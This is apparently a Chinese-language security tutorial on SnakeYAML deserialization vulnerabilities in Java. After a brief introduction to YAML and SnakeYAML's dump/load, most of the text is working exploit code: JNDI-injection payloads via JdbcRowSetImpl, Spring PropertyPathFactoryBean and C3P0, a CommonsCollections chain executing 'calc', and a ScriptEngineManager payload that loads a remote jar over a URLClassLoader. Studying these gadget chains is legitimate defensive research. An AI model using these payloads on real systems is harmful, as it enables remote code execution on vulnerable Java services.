YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。
YAML基本格式要求:
Java 常见用来处理 yaml 的库就是SnakeYaml,实现了对象与 yaml 格式的字符串之间的序列化和反序列化。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
java version “1.8.0_71”
pom.xml
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
随手写一个简单的JavaBean类
public class Person {
public String telNumber;
protected int age;
private String name;
public Person() {
}
public Person(String name, int age, String telNumber) {
this.name = name;
this.age = age;
this.telNumber = telNumber;
}
public String getName() {
System.out.println("getName() private");
return name;
}
public void setName(String name) {
System.out.println("setName() private");
this.name = name;
}
public int getAge() {
System.out.println("getAge() protected");
return age;
}
public void setAge(int age) {
System.out.println("setAge() protected ");
this.age = age;
}
public String getTelNumber() {
System.out.println("getTelNumber public ");
return telNumber;
}
public void setTelNumber(String telNumber) {
System.out.println("setTelNumber public");
this.telNumber = telNumber;
}
}
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
import org.yaml.snakeyaml.Yaml;
public class SnakeYamlTest {
public static void main(String[] args) {
Person person = new Person("ph0ebus",99,"11451419198");
Yaml yaml = new Yaml();
// 序列化
String dump = yaml.dump(person);
System.out.println(dump);
// 反序列化
Object load = yaml.load(dump);
System.out.println(load);
}
}
//运行结果:
//getAge() protected
//getName() private
//!!Person {age: 99, name: ph0ebus, telNumber: '11451419198'}
//setAge() protected
//setName() private
//Person@1975e01
可以发现当不存在某个属性,或者存在属性但不是由public修饰的时候,序列化会调用其getter方法,反序列化时会调用其setter方法。
序列化的结果前面的
!!
是用于强制类型转化,强制转换为!!
后指定的类型,其实这个和Fastjson的@type
有着异曲同工之妙。用于指定反序列化的全类名。
到这里就会发现和fastjson似乎有异曲同工之妙了,这里会调用setter方法导致安全隐患,于是fastjson的蛮多链子也可以套用起来
这里和fastjson的触发一致,都是触发setAutoCommit()方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName可控
import org.yaml.snakeyaml.Yaml;
public class JdbcRowSetImplTest {
public static void main(String[] args) {
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
这个链子需要springframework依赖
import org.yaml.snakeyaml.Yaml;
public class PropertyPathFactoryBeanTest {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/aa\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/aa\"]}}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
这里利用setBeanFactory()
方法
public void setBeanFactory(BeanFactory beanFactory) {
this.beanFactory = beanFactory;
if (this.targetBeanWrapper != null && this.targetBeanName != null) {
throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
} else {
if (this.targetBeanWrapper == null && this.targetBeanName == null) {
if (this.propertyPath != null) {
throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
}
int dotIndex = this.beanName.indexOf(46);
if (dotIndex == -1) {
throw new IllegalArgumentException("Neither 'targetObject' nor 'targetBeanName' specified, and PropertyPathFactoryBean bean name '" + this.beanName + "' does not follow 'beanName.property' syntax");
}
this.targetBeanName = this.beanName.substring(0, dotIndex);
this.propertyPath = this.beanName.substring(dotIndex + 1);
} else if (this.propertyPath == null) {
throw new IllegalArgumentException("'propertyPath' is required");
}
if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) {
Object bean = this.beanFactory.getBean(this.targetBeanName);
this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
}
}
}
这里可以调用到任意类的getBean()方法,然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()
触发JNDI注入
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
try {
return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
} catch (NameNotFoundException var4) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
} catch (TypeMismatchNamingException var5) {
throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());
} catch (NamingException var6) {
throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);
}
}
这里需要调用到getBean()
方法,首先要满足isSingleton(this.targetBeanName)
返回值为false
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
return this.shareableResources.contains(name);
}
this.shareableResources是一个HashSet对象,也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可
在C3P0利用链中提到了基于fastjson进行JNDI注入和反序列化利用
同理也可以套用在snakeyaml链上
JNDI注入
import org.yaml.snakeyaml.Yaml;
public class C3P0JndiTest {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://127.0.0.1:1099/aa\", loginTimeout: \"0\"}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
反序列化
import org.yaml.snakeyaml.Yaml;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
public class C3P0UnserTest {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1),};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
setFieldValue(transformerChain, "iTransformers", transformers);
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
byte[] bytes = barr.toByteArray();
String hex = bytesToHexString(bytes, bytes.length);
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field1 = obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for (int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
该漏洞基于SPI机制,关于SPI机制可以参考深入理解 Java 中 SPI 机制
SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder
动态装载实现模块,在META-INF/services
目录下的配置文件寻找实现类的类名,通过Class.forName
加载进来,newInstance()
反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。
因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/
那么SPI和SnakeYaml如何联系起来呢,这里需要知道一个类javax.script.ScriptEngineManager
,它的底层就利用了SPI机制
https://www.runoob.com/manual/jdk11api/java.scripting/javax/script/ScriptEngineManager.html
ScriptEngineManager(ClassLoader loader)
:此构造函数使用服务提供程序机制加载给定ClassLoader
可见的ScriptEngineFactory
的实现。 如果loader是null
,则加载与平台捆绑在一起的脚本引擎工厂
可以给定一个UrlClassLoader
,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory
的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory
文件,文件内容指定接口的实现类。
import org.yaml.snakeyaml.Yaml;
public class ScriptEngineManagerTest {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
具体执行细节可以参考https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
参考链接: Java安全之SnakeYaml反序列化分析 | nice_0e3 SnakeYAML反序列化及可利用Gadget | Y4tacker Java安全之yaml反序列化 | jiang